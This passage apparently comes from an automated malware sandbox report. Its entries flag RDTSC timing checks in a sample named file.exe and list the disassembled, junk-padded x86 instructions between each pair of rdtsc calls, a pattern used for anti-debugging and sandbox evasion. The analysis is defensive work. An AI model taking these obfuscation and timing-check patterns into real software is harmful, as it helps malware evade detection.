0x00000045 pushad 0x00000046 pushad 0x00000047 jp 00007F3DB4EC7BA6h 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C422A second address: 5C4237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F3DB4B27726h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2219 second address: 5C221F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C221F second address: 5C22B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F3DB4B27728h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 jmp 00007F3DB4B2772Fh 0x00000028 push dword ptr fs:[00000000h] 0x0000002f sbb bh, FFFFFFE7h 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 mov dword ptr [ebp+122D24BAh], esi 0x0000003f mov eax, dword ptr [ebp+122D0A31h] 0x00000045 mov ebx, dword ptr [ebp+122D21D6h] 0x0000004b push FFFFFFFFh 0x0000004d push 00000000h 0x0000004f push ebp 0x00000050 call 00007F3DB4B27728h 0x00000055 pop ebp 0x00000056 mov dword ptr [esp+04h], ebp 0x0000005a add dword ptr [esp+04h], 00000014h 0x00000062 inc ebp 0x00000063 push ebp 0x00000064 ret 0x00000065 pop ebp 0x00000066 ret 0x00000067 or bx, 4785h 0x0000006c or edi, dword ptr [ebp+122D38D3h] 0x00000072 mov ebx, 30E21F00h 0x00000077 nop 0x00000078 push eax 0x00000079 push edx 0x0000007a push eax 0x0000007b push edx 0x0000007c jne 00007F3DB4B27726h 0x00000082 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C22B2 second address: 5C22B8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C64C9 second address: 5C64F0 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3DB4B27732h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F3DB4B2772Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C64F0 second address: 5C64F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8228 second address: 5C822E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C822E second address: 5C8232 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8232 second address: 5C82A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F3DB4B27728h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 sub dword ptr [ebp+122D1DEEh], ebx 0x0000002b push 00000000h 0x0000002d mov dword ptr [ebp+1244F9A9h], esi 0x00000033 mov edi, 76185267h 0x00000038 push 00000000h 0x0000003a mov ebx, eax 0x0000003c xchg eax, esi 0x0000003d pushad 0x0000003e push ebx 0x0000003f pushad 0x00000040 popad 0x00000041 pop ebx 0x00000042 jmp 00007F3DB4B27737h 0x00000047 popad 0x00000048 push eax 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007F3DB4B2772Bh 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C92D0 second address: 5C92D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C92D6 second address: 5C92F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F3DB4B27731h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C92F3 second address: 5C92F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56CB5F second address: 56CB88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B27735h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F3DB4B27726h 0x00000013 jns 00007F3DB4B27726h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF30F second address: 5CF313 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF313 second address: 5CF319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF319 second address: 5CF345 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F3DB4EC7BB4h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007F3DB4EC7BAEh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF345 second address: 5CF34F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F3DB4B27726h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5766 second address: 5D5776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F3DB4EC7BA6h 0x0000000c popad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5776 second address: 5D578A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007F3DB4B2772Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D58D6 second address: 5D58FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F3DB4EC7BB9h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D58FA second address: 5D590B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F3DB4B27726h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D590B second address: 5D590F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D590F second address: 5D593D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B27735h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c jmp 00007F3DB4B2772Eh 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC443 second address: 5DC490 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3DB4EC7BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F3DB4EC7BACh 0x00000010 jnp 00007F3DB4EC7BA6h 0x00000016 popad 0x00000017 push eax 0x00000018 pushad 0x00000019 pushad 0x0000001a push edi 0x0000001b pop edi 0x0000001c jmp 00007F3DB4EC7BB4h 0x00000021 popad 0x00000022 pushad 0x00000023 jp 00007F3DB4EC7BA6h 0x00000029 jo 00007F3DB4EC7BA6h 0x0000002f popad 0x00000030 popad 0x00000031 mov eax, dword ptr [esp+04h] 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 jnc 00007F3DB4EC7BA6h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC490 second address: 5DC4A2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3DB4B27726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F3DB4B27726h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC4A2 second address: 5DC4AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC629 second address: 5DC635 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E013A second address: 5E0156 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0156 second address: 5E015B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E015B second address: 5E0161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0161 second address: 5E0169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E042D second address: 5E043F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DB4EC7BAEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E043F second address: 5E0443 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0443 second address: 5E044E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E05B9 second address: 5E05C9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3DB4B27726h 0x00000008 jng 00007F3DB4B27726h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E074F second address: 5E0755 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0755 second address: 5E0759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0759 second address: 5E075D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E075D second address: 5E077F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jmp 00007F3DB4B27733h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0BCD second address: 5E0BD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0BD1 second address: 5E0BD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0BD7 second address: 5E0BE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F3DB4EC7BA6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4BE2 second address: 5E4BFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DB4B27737h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4BFD second address: 5E4C01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4C01 second address: 5E4C0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8BAF second address: 5E8BBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 js 00007F3DB4EC7BA6h 0x0000000b popad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8BBE second address: 5E8BC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B52DE second address: 5B52ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DB4EC7BABh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B52ED second address: 5B52F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5F9B second address: 5B5F9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6228 second address: 5B622F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B622F second address: 5B627C instructions: 0x00000000 rdtsc 0x00000002 js 00007F3DB4EC7BB1h 0x00000008 jmp 00007F3DB4EC7BABh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 xor dword ptr [ebp+124652AFh], ecx 0x00000016 lea eax, dword ptr [ebp+12489E26h] 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007F3DB4EC7BA8h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 00000018h 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 mov dword ptr [ebp+122D1E3Fh], eax 0x0000003c push eax 0x0000003d push ecx 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7D4F second address: 5E7D53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7D53 second address: 5E7D67 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c jne 00007F3DB4EC7BA6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7D67 second address: 5E7D6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7D6E second address: 5E7D79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F3DB4EC7BA6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E82B7 second address: 5E82BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E82BC second address: 5E82C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ECB72 second address: 5ECB82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F3DB4B27732h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ECB82 second address: 5ECB88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED27A second address: 5ED297 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DB4B27737h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED297 second address: 5ED2A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED2A3 second address: 5ED2AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED47D second address: 5ED486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED486 second address: 5ED4AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B2772Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3DB4B27738h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED894 second address: 5ED8AA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3DB4EC7BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b jl 00007F3DB4EC7BBFh 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDEB9 second address: 5EDEBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDEBE second address: 5EDED7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DB4EC7BB3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDED7 second address: 5EDEDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F23DF second address: 5F23E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2690 second address: 5F2694 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2694 second address: 5F269A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2811 second address: 5F281C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnc 00007F3DB4B27726h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2B17 second address: 5F2B47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a jmp 00007F3DB4EC7BB9h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jnl 00007F3DB4EC7BA6h 0x0000001a push edi 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F30F4 second address: 5F3125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3DB4B27726h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007F3DB4B27728h 0x00000016 jmp 00007F3DB4B27739h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3125 second address: 5F3139 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DB4EC7BAEh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3139 second address: 5F313D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F9225 second address: 5F9229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB7CF second address: 5FB7D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB4D1 second address: 5FB4F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007F3DB4EC7BA6h 0x0000000d jmp 00007F3DB4EC7BB9h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB4F9 second address: 5FB508 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F3DB4B27726h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB508 second address: 5FB50C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB50C second address: 5FB510 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB510 second address: 5FB52C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3DB4EC7BB1h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFF3F second address: 5FFF53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B2772Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60537E second address: 60539C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BB2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F3DB4EC7BB2h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60539C second address: 6053A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6053A2 second address: 6053A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6053A6 second address: 6053AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603D15 second address: 603D1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
